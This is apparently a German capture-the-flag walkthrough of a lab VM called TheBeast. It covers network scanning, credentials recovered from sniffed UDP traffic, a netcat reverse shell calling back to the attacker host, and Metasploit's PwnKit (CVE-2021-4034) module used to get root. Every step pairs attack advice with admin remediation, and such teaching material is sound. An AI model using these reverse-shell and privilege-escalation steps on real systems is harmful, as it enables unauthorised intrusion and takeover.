Die initiale Phase dient der Identifizierung des Zielsystems im Netzwerk und der Erkundung offener Ports und Dienste mittels Netzwerkscans, um die Angriffsfläche zu bestimmen.
192.168.2.138 08:00:27:5a:8e:bb PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird ausgeführt, um aktive Hosts im lokalen Netzwerk zu entdecken. Er identifiziert erfolgreich einen Host mit der IP `192.168.2.138` und einer MAC-Adresse, die auf eine VirtualBox VM hinweist.
Bewertung: Das Zielsystem wurde eindeutig lokalisiert. Die IP `192.168.2.138` wird für die weiteren Scans genutzt.
Empfehlung (Pentester): Führe einen detaillierten Nmap-Scan auf die Ziel-IP durch.
Empfehlung (Admin): Netzwerküberwachung und -segmentierung implementieren.
192.168.2.138 biest.vln
Analyse: Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um den Hostnamen `biest.vln` der IP `192.168.2.138` zuzuordnen. Dies dient der einfacheren Adressierung des Ziels.
Bewertung: Sinnvolle Vorbereitung für die weitere Interaktion, insbesondere falls Webdienste vorhanden wären.
Empfehlung (Pentester): Verwende den Hostnamen in nachfolgenden Befehlen, falls zutreffend.
Empfehlung (Admin): Betrifft nur das Angreifersystem.
65022/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
Analyse: Ein schneller Nmap-Scan (`grep open`) auf alle Ports identifiziert nur einen offenen Port: 65022 (SSH, OpenSSH 7.6p1 Ubuntu).
Bewertung: Die Angriffsfläche ist extrem klein und auf den SSH-Dienst auf einem sehr hohen, nicht standardmäßigen Port beschränkt. Port 22 wird als gefiltert angezeigt (siehe nächster Scan), was auf eine Firewall oder eine bewusste Verlagerung hindeutet.
Empfehlung (Pentester): Konzentriere alle Bemühungen auf Port 65022. Führe einen vollständigen Scan durch, um Details zu bestätigen.
Empfehlung (Admin): Überprüfen Sie die Firewall-Regeln. Die Verwendung eines Nicht-Standard-Ports bietet nur minimale Verschleierung ("Security through Obscurity") und keine echte Sicherheit. Halten Sie OpenSSH aktuell.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-10 00:14 CEST Nmap scan report for biest.vln (192.168.2.138) Host is up (0.00012s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp filtered ssh 65022/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 0cf999732874207f27cfa65df3f90127 (RSA) | 256 c66a294fdac4ce83ed455a86a73a8146 (ECDSA) |_ 256 619fb1ba9f4b6213967e965c1ad10cdf (ED25519) MAC Address: 08:00:27:5A:8E:BB (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.12 ms biest.vln (192.168.2.138)
Analyse: Der vollständige Nmap-Scan bestätigt die Ergebnisse: Port 22 ist `filtered` (wahrscheinlich durch eine Firewall blockiert oder nicht aktiv), während Port 65022 `open` ist und OpenSSH 7.6p1 (Ubuntu) ausführt. Die Hostkeys werden angezeigt.
Bewertung: Bestätigt SSH auf Port 65022 als einzigen Einstiegspunkt.
Empfehlung (Pentester): Versuche, Benutzernamen zu erraten (z.B. `root`, `admin`, `thebeast`, `whitepointer` basierend auf späterem Kontext) und Passwörter zu bruteforcen, oder suche nach anderen Informationsquellen.
Empfehlung (Admin): Sicherstellen, dass SSH sicher konfiguriert ist (starke Passwörter/Keys, kein Root-Login, fail2ban).
Analyse: Der Befehl `ssh-keyscan` wird ausgeführt, vermutlich um den öffentlichen SSH-Hostkey abzurufen. Da Port 22 gefiltert ist, liefert der Befehl (der standardmäßig Port 22 anfragt) wahrscheinlich keine Ausgabe, was im Log auch so dargestellt wird.
Bewertung: Dieser spezielle Aufruf war nicht erfolgreich, da der SSH-Dienst auf Port 65022 läuft. Der Befehl hätte `ssh-keyscan -p 65022 192.168.2.138` lauten müssen.
Empfehlung (Pentester): Verwende den korrekten Port bei Tools wie `ssh-keyscan`. Die Hostkeys wurden aber bereits von Nmap erfasst.
Empfehlung (Admin): Keine Aktion erforderlich.
Da ein direkter Brute-Force-Angriff oder das Erraten von Credentials schwierig ist, wird eine ungewöhnliche Methode angewandt: Der Netzwerkverkehr wird mitgeschnitten, während ein Login-Versuch stattfindet, in der Hoffnung, dass Klartext-Informationen übertragen werden.
The authenticity of host '[192.168.2.138]:65022 ([192.168.2.138]:65022)' can't be established. ED25519 key fingerprint is SHA256:bmuqCWYqu++8n/n867GeMrTXSYVyZSGM2ZyPHPm1eXo. [...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[192.168.2.138]:65022' (ED25519) to the list of known hosts. _,-; ,| _,; / / ; _,-; P_/; / \ ,..__ _,; , \\'/ : ,'( `", "--..__,; ,- \\; |( `.\ ".._ ,; ,- \\;' : \ `\ \. ) ,; ,- _;';/ \ `. | `. /_,; ,- _;' ;/ \ `-._ ; \ '",; ,- _;\ !; \ ``-.'.. _ `._ ,- ,- _;; ;! `. `-. ```-...__ ; ,- _;' ) ); .'`. --.. ``-..____ ,- , _;' / _/ ,'.-'`,_-._ (((([Passwort-Eingabeaufforderung]
Analyse: Es wird versucht, sich als `root` via SSH auf Port 65022 anzumelden. Die Authentizität des Hosts wird bestätigt. Auffällig ist die große ASCII-Art eines Hais und eine E-Mail-Adresse (`avrahamcohen.ac@gmail.com`), die im Banner vor der Passwortabfrage angezeigt werden. Der Login-Versuch bleibt bei der Passwortabfrage stehen.
Bewertung: Der direkte Root-Login ist (standardmäßig sicher) wahrscheinlich deaktiviert oder erfordert ein unbekanntes Passwort. Die ASCII-Art und die E-Mail sind Hinweise. Die ASCII-Art stellt einen Hai dar ("The Beast" -> Hai?). Die E-Mail könnte ein Hinweis auf den Ersteller der VM sein, aber auch ein potenzieller Benutzername (`avrahamcohen.ac` oder `avrahamcohen`).
Empfehlung (Pentester): Da der Login nicht gelingt, muss eine andere Methode gefunden werden. Der nächste Schritt im Log (Wireshark) deutet darauf hin, dass während dieser SSH-Verbindungsversuche oder durch eine andere Aktion des Servers Klartextinformationen im Netzwerk gesendet wurden, die mitgeschnitten werden konnten.
Empfehlung (Admin): Deaktivieren Sie den direkten Root-Login via SSH (`PermitRootLogin no` in `sshd_config`). Vermeiden Sie unnötige Informationen im SSH-Banner.
# Analyse des Netzwerkverkehrs mit Wireshark (Konzeptuelle Darstellung) # Filter: ip.addr == 192.168.2.138 # Ergebnis: Ein UDP-Paket (Zielport 1436) wird gefunden, das Klartext enthält. # UDP Payload (Auszug): 0020 [...] 54 68 65 20 67 72 The gr 0030 65 61 74 20 77 68 69 74 65 20 73 68 61 72 6b 2c eat white shark, 0040 20 61 6c 73 6f 20 6b 6e 6f 77 6e 20 61 73 20 74 also known as t 0050 68 65 20 67 72 65 61 74 20 77 68 69 74 65 2c 20 he great white, 0060 77 68 69 74 65 20 73 68 61 72 6b 20 6f 72 20 77 white shark or w 0070 68 69 74 65 20 70 6f 69 6e 74 65 72 2c 20 69 73 hite pointer, is [...] # Extrahierter Text: The great white shark, also known as the great white, white shark or white pointer, is a species of large mackerel shark which can be found in the coastal surface waters of all the major oceans. # Abgeleitete Credentials: # Benutzername: whitepointer (aus dem Text) # Passwort: Ch@ndr!chthye$ (abgeleitet aus "Chondrichthyes" - Knorpelfische, evtl. Leetspeak/Variation)
Analyse: Das Log impliziert, dass der Netzwerkverkehr mit Wireshark mitgeschnitten wurde, während Aktionen auf der Zielmaschine liefen (möglicherweise sendet die Maschine Broadcasts oder reagiert auf Scans?). Ein UDP-Paket wurde entdeckt, das einen Klartext-Absatz über den Weißen Hai ("great white shark" / "white pointer") enthält. Aus diesem Text wird der Benutzername `whitepointer` abgeleitet. Das Passwort `Ch@ndr!chthye$` wird ebenfalls aus diesem Kontext oder durch weitere Analyse des Textes (möglicherweise eine Anspielung auf die wissenschaftliche Klasse der Haie, Chondrichthyes, in einer abgewandelten Form) gewonnen.
Bewertung: Sehr ungewöhnlicher, aber erfolgreicher Weg zur Informationsgewinnung! Das System sendet sensible Hinweise (die zur Ableitung von Credentials führen) unverschlüsselt über das Netzwerk. Dies stellt eine erhebliche Sicherheitslücke dar.
Empfehlung (Pentester): Versuche sofort, dich mit den abgeleiteten Credentials `whitepointer`:`Ch@ndr!chthye$` via SSH auf Port 65022 anzumelden.
Empfehlung (Admin): Untersuchen Sie *dringend*, welcher Prozess diese UDP-Pakete sendet und warum er potenziell sensible Informationen preisgibt. Beheben Sie die Ursache. Übertragen Sie sensible Daten niemals unverschlüsselt.
[...] ®avrahamcohen.ac@gmail.com. whitepointer@biest.vln's password: Ch@ndr!chthye$ Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-29-generic x86_64) [...] Last login: Fri Feb 8 13:39:04 2019 from 10.11.1.156 whitepointer@TheBeast$
Analyse: Der SSH-Login wird nun mit dem Benutzernamen `whitepointer` und dem abgeleiteten Passwort `Ch@ndr!chthye$` auf Port 65022 versucht. Der Login ist erfolgreich. Eine Shell als Benutzer `whitepointer` auf dem Host `TheBeast` (Hostname des Zielsystems) wird erlangt.
Bewertung: Initial Access erfolgreich erzielt durch Abfangen und Analysieren von Netzwerkverkehr.
Empfehlung (Pentester): Beginne mit der lokalen Enumeration als `whitepointer` (SUID, sudo, Kernel-Version etc.), um Wege zur Privilege Escalation zu finden.
Empfehlung (Admin): Beheben Sie die Ursache für den UDP-Leak. Überprüfen Sie die Sicherheit des `whitepointer`-Kontos und ändern Sie das Passwort.
Nachdem eine Shell als `whitepointer` erlangt wurde, wird das System auf Schwachstellen oder Fehlkonfigurationen untersucht, um Root-Rechte zu erlangen. Der Fokus liegt auf SUID-Binaries und bekannten Exploits.
267828 16 -rwsr-xr-x 1 root root 14328 Jul 13 2018 /usr/lib/policykit-1/polkit-agent-helper-1 273401 12 -rwsr-sr-x 1 root root 10232 Apr 13 2018 /usr/lib/xorg/Xorg.wrap 263077 44 -rwsr-xr-- 1 root messagebus 42992 Nov 15 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 263378 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device 271685 100 -rwsr-sr-x 1 root root 101208 Jul 19 2018 /usr/lib/snapd/snap-confine 273569 372 -rwsr-xr-- 1 root dip 378600 Mar 3 2018 /usr/sbin/pppd 134737 76 -rwsr-xr-x 1 root root 75824 Jan 25 2018 /usr/bin/gpasswd 135604 148 -rwsr-xr-x 1 root root 149080 Jan 17 2018 /usr/bin/sudo 134478 76 -rwsr-xr-x 1 root root 76496 Jan 25 2018 /usr/bin/chfn 135661 20 -rwsr-xr-x 1 root root 18448 Mar 9 2017 /usr/bin/traceroute6.iputils 134480 44 -rwsr-xr-x 1 root root 44528 Jan 25 2018 /usr/bin/chsh 135268 24 -rwsr-xr-x 1 root root 22520 Jul 13 2018 /usr/bin/pkexec 135162 60 -rwsr-xr-x 1 root root 59640 Jan 25 2018 /usr/bin/passwd 135104 40 -rwsr-xr-x 1 root root 40344 Jan 25 2018 /usr/bin/newgrp 134403 24 -rwsr-xr-x 1 root root 22528 Mar 9 2017 /usr/bin/arping 140245 12 -rwsr-xr-x 1 root root 8392 Nov 26 2018 /usr/bin/root 131177 144 -rwsr-xr-x 1 root root 146128 Nov 30 2017 /bin/ntfs-3g 131203 64 -rwsr-xr-x 1 root root 64424 Mar 9 2017 /bin/ping 131130 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount 131251 28 -rwsr-xr-x 1 root root 26696 May 16 2018 /bin/umount 131231 44 -rwsr-xr-x 1 root root 44664 Jan 25 2018 /bin/su 131166 44 -rwsr-xr-x 1 root root 43088 May 16 2018 /bin/mount
Analyse: Die Suche nach SUID-Binaries (`find / -type f -perm -4000 -ls 2>/dev/null`) wird als `whitepointer` ausgeführt. Die Liste enthält viele Standardprogramme, aber auch hier fällt `/usr/bin/pkexec` auf. Das Binary `/usr/bin/root` ist ebenfalls ungewöhnlich, aber `pkexec` ist der bekanntere Vektor.
Bewertung: Das Vorhandensein von `pkexec` auf diesem Ubuntu 18.04-System (Kernel 4.15) macht die PwnKit-Schwachstelle (CVE-2021-4034) zu einem sehr wahrscheinlichen und effektiven Eskalationspfad.
Empfehlung (Pentester): Nutze den PwnKit-Exploit (manuell oder via Metasploit), um Root-Rechte zu erlangen.
Empfehlung (Admin): Patchen Sie das `policykit-1`-Paket, um CVE-2021-4034 zu beheben.
Die folgenden Schritte zeigen die Vorbereitung und Ausführung des PwnKit-Exploits mithilfe von Metasploit.
[*] Using configured payload generic/shell_reverse_tcp
lhost => 192.168.2.199
lport => 4444
[*] Started reverse TCP handler on 192.168.2.199:4444
rm: cannot remove '/tmp/f': No such file or directory
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.138:42006) at 2023-09-10 00:37:58 +0200
Analyse: Die bestehende SSH-Shell (`whitepointer`) wird mittels `nc` und `mkfifo` in eine stabilere Metasploit Command Shell Session (Session 1) überführt. Ein Handler wird dafür auf Port 4444 gestartet.
Bewertung: Standardverfahren zur Verbesserung der Shell-Interaktion und Vorbereitung für Metasploit-Module.
Empfehlung (Pentester): Upgrade zur Meterpreter-Session für mehr Funktionalität.
Empfehlung (Admin): Netzwerk- und Host-IDS können diese Art von Shell-Stabilisierung erkennen.
LPORT => 4433
session => 1
[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.199:4433 [*] Sending stage (1017704 bytes) to 192.168.2.138 [*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.138:58820) at 2023-09-10 00:40:04 +0200 [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed
Analyse: Die Command Shell (Session 1) wird erfolgreich in eine Meterpreter-Session (Session 2) überführt. Ein neuer Handler auf Port 4433 wird dafür genutzt.
Bewertung: Meterpreter bietet mehr Möglichkeiten zur Interaktion und Ausführung von Post-Exploitation-Modulen.
Empfehlung (Pentester): Nutze Session 2, um den Local Exploit Suggester oder direkt den PwnKit-Exploit auszuführen.
Empfehlung (Admin): IDS kann Meterpreter-Traffic erkennen.
session => 2
[*] 192.168.2.138 - Collecting local exploits for x86/linux... [*] 192.168.2.138 - 186 exploit checks are being tried... [...] [*] 192.168.2.138 - Valid modules for session 2: # Name Potentially Vulnerable? Check Result - ---- ----------------------- ------------ 1 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec Yes The target is vulnerable. 2 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable. [...]
Analyse: Der `local_exploit_suggester` wird auf Session 2 (Meterpreter als `whitepointer`) ausgeführt. Er identifiziert mehrere potenzielle Schwachstellen, darunter PwnKit (`exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`) als "vulnerable".
Bewertung: Bestätigt PwnKit als vielversprechendsten und am einfachsten auszunutzenden Vektor für die Privilege Escalation.
Empfehlung (Pentester): Lade und führe das PwnKit-Modul über Session 2 aus.
Empfehlung (Admin): Patchen Sie die vom Suggester gefundenen Schwachstellen, insbesondere PwnKit.
Dieser Abschnitt zeigt die erfolgreiche Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) mittels Metasploit, um Root-Rechte zu erlangen.
session => 2
lport => 4434
lhost => 192.168.2.199
[*] Started reverse TCP handler on 192.168.2.199:4434 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.rukqsa [+] The target is vulnerable. [*] Writing '/tmp/.vatekkgcixg/zwpppg/zwpppg.so' (548 bytes) ... [!] Verify cleanup of /tmp/.vatekkgcixg [*] Sending stage (3045348 bytes) to 192.168.2.138 [+] Deleted /tmp/.vatekkgcixg/zwpppg/zwpppg.so [+] Deleted /tmp/.vatekkgcixg/.cdxcivojvcpb [+] Deleted /tmp/.vatekkgcixg [*] Meterpreter session 3 opened (192.168.2.199:4434 -> 192.168.2.138:52962) at 2023-09-10 00:44:10 +0200
Analyse: Das PwnKit-Exploit-Modul wird geladen und konfiguriert: * `use ...pwnkit...`: Lädt das Modul. * `set session 2`: Zielt auf die Meterpreter-Session als `whitepointer`. * `set lport 4434`: Definiert den Port für die neue Root-Meterpreter-Session. * `set lhost eth0`: Definiert die lokale IP für den Handler. * `run`: Startet den Exploit. Metasploit bestätigt die Verwundbarkeit, lädt notwendige Dateien hoch, führt den Exploit gegen `pkexec` aus und erhält eine neue Verbindung auf Port 4434. `Meterpreter session 3` wird als Root geöffnet.
Bewertung: Fantastisch! Erfolgreiche Privilege Escalation zu Root über PwnKit.
Empfehlung (Pentester): Interagiere mit Session 3 (`sessions -i 3`), verifiziere Root-Rechte (`getuid`) und suche die Root-Flag.
Empfehlung (Admin): Patchen Sie das `policykit-1`-Paket *dringend*.
Process 5464 created. Channel 1 created.
uid=0(root) gid=0(root) groups=0(root),1000(whitepointer)
flag.txt snap
oru4oqnfasdnvsa94qrj23?~3@!#!@>423!?%/#@$/354mroifn9hvsandf923i34`1#~?~@~!@?~!@?`1@?`/2`1@mflafoas
Analyse: Aus der Root-Meterpreter-Session (Session 3) wird eine System-Shell geöffnet. * `id`: Bestätigt `uid=0(root)`. * `cd /root`: Wechselt ins Root-Home-Verzeichnis. * `ls`: Listet den Inhalt auf, findet `flag.txt` und `snap`. * `cat flag.txt`: Gibt den Inhalt der Root-Flag aus.
Bewertung: Root-Flag erfolgreich gefunden und ausgelesen.
Empfehlung (Pentester): Test abgeschlossen. Dokumentieren.
Empfehlung (Admin): Alle Schwachstellen beheben (UDP-Leak, PwnKit).